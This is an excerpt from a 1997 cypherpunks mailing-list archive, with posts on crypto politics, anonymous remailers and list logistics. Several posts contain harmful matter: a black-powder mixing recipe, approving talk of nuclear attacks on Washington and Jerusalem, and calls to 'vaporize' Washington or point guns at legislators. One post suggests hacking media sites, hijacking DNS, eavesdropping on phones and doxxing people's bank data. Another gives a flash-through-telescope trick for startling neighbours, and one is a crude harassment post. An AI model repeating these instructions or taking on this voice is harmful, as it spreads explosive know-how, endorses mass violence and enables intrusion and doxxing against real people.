> inconsequential when the objective is bringing crypto to the masses.

I guess we are doomed, then.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 12 May 1997 00:21:34 +0800
To: 00043.an@edtec.com
Subject: Re: One-Time Pads as Attack Method
In-Reply-To: <199705101646.MAA21972@main.inetnow.net>
Message-ID: <Pine.LNX.3.91.970511161957.2922A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
> into copyrighted material B a violation of anything, I wonder...  You could
> convert everybody's Internet Explorer into a ZIP file containing a setup
> and executable for Netscape 3.0!!

Technically, an OTP has a problem here because the two files, A and B, 
must be exactly the same size. Padding can solve this of course.

Legally though this is an interesting question: As I understand it (and I 
have only a very limited understanding of the law) copyrights make 
illegal the act of copying the material, rather than the act of owning 
it. Therefore, if I do A XOR B where A is say micro$oft access, and B is 
my transformation, and get C which is a copy of, say, micro$oft excel, I 
have commited no crime. Does anyone on here with a knowledge of the law 
have an opinion on this?

> >Do you think that Microsoft has a one-time-pad that will convert
> >Netscape 3.1 into Word for Windows?

Of course it need not even be an OTP, we could use a mapping to permute 
the bits in one file onto the bits in another. If this were illegal under 
current law, what would be illegal, the program, the owning of it, the 
act of using it to create the copyrighted software C????????????

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 12 May 1997 00:25:51 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: timmy has finally lost it
In-Reply-To: <199705110501.WAA17736@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.91.970511165101.2922C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.

Congress discussing any bills whatsoever should make all decent people 
cringe. 

> the congressional crypto bills are generally a good thing, because
> they are increasing public awareness of the issue. any bill that
> is not fair or just is likely to be tested in the courts, and if
> our system is beyond an orwellian tyranny, will be struck down.
> do we have a constitution or not? if so, we have nothing to worry
> about. (of course, I am not advocating doing nothing, but I am
> advocating not panicking or calling for the "vaporization of washington"..)

Wrong, you would lose count very quickly indeed if you tried to count all 
the laws in the US that would lose to a fair and objective constitutional 
challenge. The constitution doesn`t mean shit any more.

The vaporization of washington should be a priority for anyone with a 
sense of self preservation or moral obligation towards his fellow man.

> there might actually be an advanteage in a very orwellian bill
> *passing*. if it is struck down, perhaps no legislator would ever
> try again, and those that tried would have their reputations marred
> with widescale public infamy.

This is certainly a possibility, but is a big risk to take and would also 
be "playing the game" with the legislators by challenging them on their 
own terms. The only challenge we should be making is the only one they 
understand: a .45 pointed up their nostil.

> TCM is terrified by virtually anything that happens in govt, which is 
> amusing and comical at times.

I find it amusing and comical, and also very worrying, to see people who 
aren`t terrified by the actions of a government that fails to recognise 
nearly all of the basic rights of it`s citizens. If you`re not part of 
the solution you`re part of the problem.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 12 May 1997 01:31:44 +0800
To: alan@ctrl-alt-del.com
Subject: hacking the media (was Re: Wine Politics Again! (fwd))
In-Reply-To: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>
Message-ID: <199705111715.SAA01705@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <alan@ctrl-alt-del.com> writes:
> At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:
> 
> >It ill behooves participants in a democracy to either advocate or even
> >tolerate or even cluck sympathetically at mass murder for political ends. 
> >This way lies Bosnia.
> 
> I suggest making them look like fools.  It allows public opinion to turn
> against the fascists without them having murder or mayhem as a scapegoat. 
> There is nothing the greyfaces hate more than laughter.
> 
> Now is the time to hack the media.

Ideas?

Maybe mirror some information which they won't like and laugh at them
when they fail to take it down?

Hack their web pages?  Socially engineer a change to their NIC info
(as Susan Thunder did to `takedown.com' which was about `taking down'
Mitnick.  She talked internic into changing it to takendown.com.  Heh
heh.)  Hack the DNS server entries for their web pages, so it'll take
them to recover.

Eavesdrop on their cell phones and post the audio files?  

Post their credit ratings, bank balances, all the personal info a PI
or hacker can get?

Set them up and tape what they think is a corrupt deal with a kick
back for them going down?

Plant a bug on a politician leave it going for a few weeks and post
the findings?

May be we can start a pool to reward the hacker who gets dirt on them
which shows them for what they are, if the poetic justice of it isn't
enough incentive.  Hire a good PI.

Put all this info on the web and laugh when they fail to take it down.
(Hint: eternity).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Mon, 12 May 1997 06:56:16 +0800
To: cypherpunks@Algebra.Com
Subject: Re: Spam Update/Cyber Promo attacked (fwd)
Message-ID: <97May11.184120edt.32259-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory, much
less 1M+ responses of the same email.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.

Any such property right will be symmetrical, so if I don't have the right
to control what comes into my inbox, neither does anyone@spamway.com.

Whether I like it or not, Anarchocapitalism is going to be the political
system on the internet.  Just like what is described in David Freedman's
books about private protective services, a spammer will continue until he
hits someone with a T3 and a good software agent that will happily fill
out response forms at 6M/sec, or simply ask politely to be taken off the
list several hundred times per second.  At that point the lists of people
who don't want to be spammed will be taken very seriously.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 02:02:26 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Sabotaging the U.S. Military-Industrial War Machine
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v03007800af9c3c4562d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(Contrary to rumors, I _do) have a live outside of the Net. I've been away
this weekend. I probably can't, or won't, respond to all of the comments
about my recent posts.)

At 12:57 PM -0800 5/10/97, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>

Sorry. I misunderstood you to be speaking of the "fouling of one's own
nest" (or whatever the ebonics translation might be) riots of recent years.

You are correct that a kind of riot in cyberspace is possible. However, I
think the attacks (not riots) will not be oriented toward mayhem (no pun
intended) toward one's neighbors, but towards destablization of democracies
and military-industrial facilities.

In particular, various attacks against the national labs.

And technologies to make the "force of democracy" lose their teeth.

Subscribe to the Info-War news list for more, although they are
unfortunately biased toward the U.S. propaganda machine. (It was by some of
them that I was characterized as an "information terrorist," a label I view
as an honor.).

(Hint: I was quoted/interviewed in oppostion to the Pentagon's
"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
not all of which was inclued in the BBC programme, was that strong crypto
would and should be used to destablilze U.S. efforts to dominate the New
World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
Alamos, and so on, I would press the button tonight. The U.S. military
machine is vastly more powerful than it needs to be meet the threat of
invasion of our shores (hint: even Hitler and Tojo were not real threat to
U.S. shores) and whatever is needed should be done to destabilize and
sabotage the U.S. industrial war machine.)

The spread of anonymous remailer is already being used to break the back of
the U.S. war propaganda system. (Given that Lowell Wood's crimes are being
liberated and sent to non-U.S. sites for their use in defeating the war
machine).

Cypherpunks stand for making the United States just another bunch of
contiguous geographic regions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 02:04:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.Re: Disinformation in L.A.
Message-ID: <199705111756.TAA20093@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:59:44 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <v03007802af9c43420709@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>On Sat, 10 May 1997, Kent Crispin wrote:
>
>> I would expect a "cypherpunk riot" to be a little more aimed at
>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>
>Tim was mostly talking about nuking the District of Columbia.  You will
>note that that is an artificial community filled entirely with politicians
>and their sycophants.  It is sort of like the train that Ayn has blow up
>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>there. (Well a few tourists and Ethiopian immigrants who don't know better
>but you can't win 'em all.)  Note also that he is hoping others will do
>the deed.  He's not volunteering.
>
>There will be a few unfortunate explosions in the world over the next few
>years so I'm sure Tim is just hoping for a beneficial target selection.

Indeed. Beneficial target selection. Though I think it much more likely
that the U.S.-recognized capital of the Zionist entity will be a more
likely target to undergo nuclear cleansing. (And even there some innocent
civilians, both Muslim and Jew, will surely be hastened to their meetings
with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
Bear. No accounting for wanting to live in near Ground Zero...religion is a
strange thing.)

What I think a careful perusal of my comments about D.C. will reveal is
that I will not cry for its destruction, and would, all in all, smile a
broad grin if I wake up some morning to hear on CNN that D.C. is no more.
It's a free country, so I can express such happy thoughts about such
corruptions being cleansed.

(As for crypto and Cypherpunks, anyone who is honest must admit that strong
crypto and Cypherpunks are helping to make this a more plausible scenario.
The bullshit that strong crypto is only for "democratic forces" is too
naive to even comment on. Strong crypto is to give a handful of people the
power to undermine statist authorities and imperial capitals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 12 May 1997 12:47:09 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705120425.VAA30346@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

Below, from the cypherpunks archives:
-------------------
  As MediaFilter reported:

The March edition of Taking Aim, the newsletter of the Militia of

Montana, issued a call to arms for April 19, the day of the Oklahoma
blast: 



Federal prosecutors in (Richard Snell's) the '88 trial claimed that 
the '83 plot_which included counterfeiting, armed robberies and plans 
to assassinate federal judges and the Arkansas FBI chief_was to begin
with the detonation of a truck bomb at the Oklahoma City Federal 
Building. 

All of the defendants were acquitted. But that very same building 
would be blown up by a truck bomb on the very day of Richard Snell's 
execution.



Snell died knowing of the explosion. 

His last words were a warning to Arkansas Governor Guy Tucker: 
"Look over your shoulder, justice is on the way..." 



TruthBomber
-----------------------

  Planning the bombing of the Oklahoma City Federal Building has long
been as standard an exercise for paramilitarists as typing "The quick
brown fox..." has been for typists. The trial mentioned above is not
the only one in which the targeting of the OKC Federal Building was 
involved as a goal of paramilitary objectives.
  To think that federal security personnel in Oklahoma City were 
unaware of this is ludicrous. The fact that they allowed a daycare
to be placed there (or perhaps initiated the action) is as criminal 
an act as the bombing itself.
  Naturally, there will be no trial or investigation of government
criminality in this regard, but only of the actions of anti-government
criminals.

  Freedom and liberty in the world is not in the hands of the citizens,
but in the hands of those who are concerned about it. (The same as
high-fashion or many other mental constructs.)
  There may not be an overt war taking place between the average
citizen and the government, but there is one taking place between the
government and those who oppose the draconian limitations being placed
on their freedom and liberty under the guise of "rule of law."

Dr. Roberts
~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 12 May 1997 13:07:01 +0800
To: cypherpunks@toad.com
Subject: Re: Camera Hacking
In-Reply-To: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
Message-ID: <v03007803af9c5aba8a8e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:02 PM -0800 5/10/97, Alan Olsen wrote:

>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>lens and fire.  (Only if they are looking through it.)  The screams are
>worth it.  (One of the few joys of my high school photography class.)

Reminds me of an old astronomy club trick.

Take any reasonble aperture telescope. Use a reasonable magnification for
the target such that target window fills the field of view. Place a
standard electronic flash where the eye normally is. (Increased efficiency
is gotten by arranging for as much of the output to go into the eyepieces
as possible...this can be done with an "integrating sphere," e.g., an
aluminum foil sphere with a single exit at the eyepiece.)

After dark, aim the telescope in the window of your victim. Best results
are gotten if they have the lights off, e.g., while they're watching
television.

Trigger the flash.

The startled reactions as their room fills with a flash of light are
interesting. Some of them may even think they're under nuclear attack.

This of course works best from afar. Apartment buildings with views of
other apartment buildings, for example. Don't this from the bushes, or even
from across a street.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 12 May 1997 11:31:41 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.95.970511220330.1930A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 11 May 1997, Lucky Green wrote:

> At 09:15 PM 5/10/97 CST, TruthMonger wrote:
> 
> >  The government has prosecuted dozens of individuals for planning
> >to bomb the OK city Federal Building (including executed murderers).
> >It has long been listed as a target of choice for anti-government
> >paramilitarists.
> 
> Can somebody confirm this? Cite?

I don't know about "dozens", but one convicted murderer named Richard
Snell had plotted to bomb the building about 13 years ago.  He was
executed on the night of April 19, 1995, the same day as the OKC
bombing.  There's in article in the February 24, 1997 issue of _Time_
(the one with the golden swastika on the cover) on page 28.  This
article contains similar information to an article at
http://www.aci.net/kalliste/okccol.htm and discusses, among other things,
possible knowledge of the bombing in advance by the ATF and evidence
that Tim McVeigh was associated with the Aryan Republican Army and Elohim
City.  There are a few other articles also at
http://www.aci.net/kalliste/ .

> 
> Thanks,
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 
>    "I do believe that where there is a choice only between cowardice and
>     violence, I would advise violence." Mahatma Gandhi
> 
> 



Mark
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4f/4USTh3NumEGhgmLGBHYNHB9CgFveZSgo/yZwmMheZhONcFm1TBaaKv+OuHwEV
O+7mpt2GODrdKR/Ck08/Na6ZLHznhu0X5FEcZ0CSemgws4yX5xnGiIT7wWCRZSS/
pwBCkdpEsZR7D247tRZ9BLPWIF+MKTCB6B67iVfdVAvBFkkDnm/s1knvH07tzcXS
DoK9oy7eLnFxW5iIUGDXujGx9SwFy/1VFU2TuCW1KFBLHt0npCNUBw==
=Cp4h
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 12 May 1997 15:20:15 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Mondex
In-Reply-To: <199705111118.HAA29729@dhp.com>
Message-ID: <Pine.A41.3.95.970512005521.105474M-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply dweeb sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 12 May 1997 22:11:41 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705121350.GAA15822@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 12 May 97 6:48:02 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ++**#*******     1:25  99.99%
balls    remailer@huge.cajones.com        ###*########     1:12  99.98%
weasel   config@weasel.owl.de             +++-+++++-+   2:06:18  99.84%
squirrel mix@squirrel.owl.de              +++-+++++-+   2:05:58  99.77%
jam      remailer@cypherpunks.ca          * **********     8:44  99.44%
replay   remailer@replay.com               * -*****  *    16:09  98.65%
cyber    alias@alias.cyberpass.net        +**** * * *+    19:10  97.86%
dustbin  dustman@athensnet.com            .--.+-++-     2:35:37  93.78%
winsock  winsock@rigel.cyberpass.net      ..-..-----    5:14:17  92.97%
lucifer  lucifer@dhp.com                  ++++++++++      38:33  88.02%
hidden   remailer@hidden.net              #__-+####     2:32:43  76.02%
reno     middleman@cyberpass.net          .+_.-   +-    1:47:08  70.50%
mix      mixmaster@remail.obscura.com     ---.-         7:31:14  28.09%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 12 May 1997 19:26:41 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <3.0.32.19970510224212.006e0a84@cnw.com>
Message-ID: <3.0.1.32.19970512065607.0294f20c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:43 PM 5/10/97 -0700, Blanc wrote:
>TruthMonger wrote:
>
>>  Of course, you have your own definintion of innocenent bystanders,
>>while others may have different definitions.
>..........................................................
>
>To me, an innocent bystander would be someone who was walking by a building
>which was blown up by someone with a grudge against its occupants.
>
>You lose the point of your attack when you kill those who do not relate to
>the reason for your attack.
>
>"To save the village, we had to destroy it."
>
>
>    ..
>Blanc
>

But Blanc,what if "It Takes A Village to Raise a Child" and the village is trying to raise my child against my will.  In that case, the only way to handle things is to destroy the village.  Not to save it,but to save my child.

Think about it.

But not for too long.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 12 May 1997 20:54:28 +0800
To: cypherpunks@toad.com
Subject: Telnet Anonymous
Message-ID: <TCPSMTP.17.5.12.8.34.14.2780269260.1636483@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

E-Mail...NYM-Servers
WWW...Anonymizer
Telnet...??

How does one telnet anonymously to another system, assuming that
one's home system has identd?

Thanks already in advance...

Ciao

Harka

... Microsoft - "Where do you want to crash today?"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM3cNtjltEBIEF0MBAQE3sAf7BHE2Gi3pEDRBPhkjAGa0yAT56Y5FL77h
5TB3XJoM0GCgy+oq+fodVpsH7/nseO6NUfIh6Yc5sZ9Rkn2sngkeHt4mpXVx95cP
/IM6udvyfMlNa4Do5gIblsw7QjTaiDBaJ6hhqhyyalvkdoGsMecu4FoH04ZuccWQ
yMl9O8mmG3+O3NRHfCA/bEuhiw4UJRw6d7fhixkp6IHiCRIIPrE4h7P+xRsbZsJ3
dwOoOZwNucOvm5cWjTPiybqhmCodO/QB6XfIpL008MRmtLMaux8N/SJhAmuwf37g
UX1IBXW7p62gfnOiY7GE4YfN9GKTPsdHkM6M/cYUfUx1Dr3SR0em5A==
=oTI6
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 13 May 1997 01:02:42 +0800
To: cypherpunks@algebra.com
Subject: The Interlinked Cypherpunks Lists?
Message-ID: <v03007800af9d068330c1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I've recently had some of my articles sent to "cypherpunks@cyberpass.net"
bounce (more precisely: "<cypherpunks@cyberpass.net>... Deferred:
Connection timed out with rigel.cyberpass.net. Warning: message still
undelivered after 4 hours").

And I've received no Cypherpunks list traffic more recently dated than
Saturday morning. (I'm subscribed to cypherpunks@cyberpass.net.)

I surmise that something is wrong. So I've subscribed to one of the
alternates, cypherpunks@algebra.com.

Some thoughts:

* Is it possible for the interlinked lists to send out announcements of
list problems to subscriber of all such lists? (Each list owner could do a
periodic "who cypherpunks" of the other lists, then use this list to send a
message if a problem comes up. More sophisticated cross-processing could
eliminate duplicates, etc.)

* Alternatively, if one of the sites goes down, such as
"cypherpunks@cyberpass.net" seems to have done, could the other sites
automagically pick up the task of distributing articles until the site
comes back up?

* How feasible is it to have a single "virtual subscription address" which
gets traffic from one of the various list sites? (To avoid having to
subscribe to two or more lists and thus getting duplicates.)

I'll resubmit a few of my recent articles to cypherpunks@algebra.com.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








